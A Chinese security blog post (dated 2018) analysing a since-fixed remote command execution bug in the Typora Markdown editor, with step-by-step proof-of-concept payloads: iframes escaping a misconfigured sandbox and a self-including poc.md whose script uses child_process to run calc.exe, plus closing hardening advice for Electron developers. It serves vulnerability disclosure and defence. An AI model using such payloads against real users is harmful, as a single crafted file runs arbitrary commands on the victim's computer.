如何在Typora编辑器上实现远程命令执行

如何在Typora编辑器上实现远程命令执行

Typora简介

Typora是一款颜值与实力共存的跨平台Markdown编辑器,与Vscode、Atom、GitHub Desktop一样,Typora也基于Electron框架进行开发,它抛弃了双栏写作以及写后预览的理念,将写作与预览窗口相结合,重新捡起了富文本「所见即所得」的呈现方式。

不得不说,在提升便利性和用户体验的同时,也正是自动实时预览的功能给我们的漏洞提升了利用价值,此漏洞已在高于0.9.9.57 (beta)的版本进行了修复Typora for windows - dev version release.


漏洞分析

在一个弱小可怜又无助的夜晚,笔者正在用本文的主角Typora绞尽脑汁地写文档,由于是第一次使用这个编辑器,笔者的职业病在这时候发作了。

我们知道,针对Electron应用,大部分时候我们只要找到了XSS漏洞,也就约等于完成了命令执行。所以,我们祭出祖传的XSS payload一顿打,惊喜发现没有任何弹窗。通过简单研究我们发现,Typora作者在研发的时候采用了cure53的DOMPurify过滤了预览输出的html,缓解了大部分的XSS攻击。


那这个编辑器就没有漏洞了吗?

当然是不可能的。Kein System ist sicher.


有人可能会想到一个神奇的标签<iframe>,那我们不如来尝试一下。

  • round 1

输入

<iframe src="javascript:alert(1)"></iframe>


输出:

我们可以看到Typora会把src当做相对路径来处理,那如果我们包含一个本地的html文件呢?

  • round 2

新建poc.md输入

<iframe src="./poc.html"></iframe>

同目录下的poc.html内容如下:

<script>
        window.parent.top.alert(1)
</script>

我们惊喜发现出现了弹窗!


这个javascript为什么执行了呢?

我们可以通过Typora的dev mode查看一下页面源码:

<iframe src="E:\slide\vul\typora_poc\poc.html" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox="allow-same-origin allow-scripts" onload="window.remoteOnLoad(this)" height="24" data-user-height="24"></iframe>

我们发现有这样一个sandbox属性:

 sandbox="allow-same-origin allow-scripts"

通过查阅文档HTML Standard发现,HTML 5通过sandbox属性提升iframe的安全性,我们注意到文档中有一个大大的warning:

Setting both the allow-scripts and allow-same-origin keywords together when the embedded page has the same origin as the page containing the iframe allows the embedded page to simply remove the sandbox attribute and then reload itself, effectively breaking out of the sandbox altogether.

思就是如果在iframe的sandbox属性里同时设置allow-scripts和allow-same-origin的话,同源的子页面就可以通过javascript突破HTML 5的沙盒,sandbox形同虚设。

这样我们便可以修改一下poc.html的源码实现命令执行:


<script>
      //rce
        window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
        if(error){
            console.log(error);
        }  
        });
</script>


但是现在的漏洞利用起来非常鸡肋,受害者需要下载两个文件,同时保持在一个目录,再打开poc.md,整个过程比较繁琐,能不能用一个文件实现呢?

  • 尝试srcdoc
<iframe srcdoc="<script>window.parent.top.alert(1)</script>"></iframe>

我们发现并没有执行,查看一下源码:

<iframe srcdoc="<script>window.parent.top.alert(1)</script>" guest-id="3" allow-top-navigation="false" allow-forms="false" allowfullscreen="true" allow-popups="false" sandbox=""></iframe>

iframe未设置allow-scripts的独立属性,同时sandbox设置为空字符串,意思是应用所有的沙盒限制,因此使用srcdoc的方式不可行。

  • 尝试引入md文件,而非html文件

新建一个cmd.md文件,内容与之前poc.html一致:

<script>
      //rce
        window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
        if(error){
            console.log(error);
        }  
        });
</script>

用Typora打开poc.md文件:

<iframe src="./cmd.md"></iframe>

我们发现是可以继续实行命令执行的,由此可以看出,Typora在嵌入md文件之后,仍会对md文件的html标签进行解析。

  • 直接引入poc.md自身

修改poc.md文件内容:

<iframe src="./poc.md"></iframe>

<script>
      //rce
        window.parent.top.require('child_process').execFile('C:/Windows/System32/calc.exe',function(error, stdout, stderr){
        if(error){
            console.log(error);
        }  
        });
</script>


现在,我们只需要发送一个md文件给受害者,一旦受害者使用Typora打开,我们便可以在受害者的电脑上执行任意命令。


后记

随着Electron框架在跨平台应用开发市场取得的巨大成功,越来越多的开发者采用Electron进行应用开发,那么如何在开发中比较好的避免出现这些风险呢,这里有几个建议:

  1. 采用诸如cure53/DOMPurify类似的组件过滤用户输入输出,缓解XSS漏洞
  2. 各种HTML 5的安全属性要正确设置,特别是iframe标签
  3. 可以采用Electron的webview标签去包裹用户内容区,当然也要进行正确的安全设置,参考Webview Vulnerability Fix | Electron Blog
  4. 避免使用shell模块去直接处理file://等协议的链接
发布于 2018-12-19

文章被以下专栏收录